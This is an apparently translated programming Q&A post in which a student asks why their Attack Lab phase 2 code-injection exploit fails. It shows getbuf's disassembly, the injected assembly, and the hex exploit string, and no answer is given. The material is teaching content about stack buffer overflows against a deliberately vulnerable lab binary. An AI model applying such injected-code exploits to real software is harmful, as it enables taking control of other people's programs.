assembly - 攻击实验室阶段2缓冲区溢出
问题描述
我必须做一个攻击实验室。而且我需要在缓冲区溢出的情况下运行 touch2()。我必须注入代码作为我的漏洞利用字符串的一部分,以使程序指向函数 touch2() 的地址。
当我查看 getbuf 时,我看到它有 0x18 (24) 个缓冲区。
0000000000001dbc <getbuf>:
1dbc: f3 0f 1e fa endbr64
1dc0: 48 83 ec 18 sub $0x18,%rsp
1dc4: 48 89 e7 mov %rsp,%rdi
1dc7: e8 b5 02 00 00 callq 2081 <Gets>
1dcc: b8 01 00 00 00 mov $0x1,%eax
1dd1: 48 83 c4 18 add $0x18,%rsp
1dd5: c3 retq
而且我发现执行ctarget后touch2()的地址是0x555555555e0a,而%rsp-0x18是0x55641138。
这是我在汇编中的漏洞利用代码。阶段2.s
movq $0x6eb933c2,%rdi movq $0x555555555e0a, %rax pushq %rax ret
这是我传递给程序的答案。
48 c7 c7 c2 33 b9 6e 48 # bytecode of exploit code, padding 0x18
b8 0a 5e 55 55 55 55 00
00 50 c3 00 00 00 00 00
38 11 64 55 00 00 00 00 # #address of rsp - 0x38
然后我使用 hex2raw 创建并运行 phase2.raw 文件,但没有发生漏洞利用。
Cookie: 0x6eb933c2
No exploit. Getbuf returned 0x1
Normal return
为什么没有发生缓冲区溢出?
解决方案
推荐阅读
- php - 在 wamp 和 apache 2.4.46 上安装 php 8.0.11
- java - 从另一个类或文件中设置 java 数组的元素
- java - Android Studio - {com.example.a5enotes/com.example.a5enotes.MainActivity} 不存在
- android - Jetpack Compose LazyColumn 使用 remember() 重构
- python-3.x - 为什么此编码会导致超时错误?(长方体解)
- hedera-hashgraph - 是否可以以无需信任的方式实施 Hedera 共识服务?
- laravel - 如何通过 Laravel Horizon 设置充分利用服务器来处理队列?
- javascript - 带有字符串插值的 JavaScript fetch API 调用包含 # 始终为空
- amazon-web-services - terraform 缺少资源实例键,for_each 问题
- linux - 当我尝试在 Red Hat 上编译驱动程序时,为什么“make”命令给我一个错误?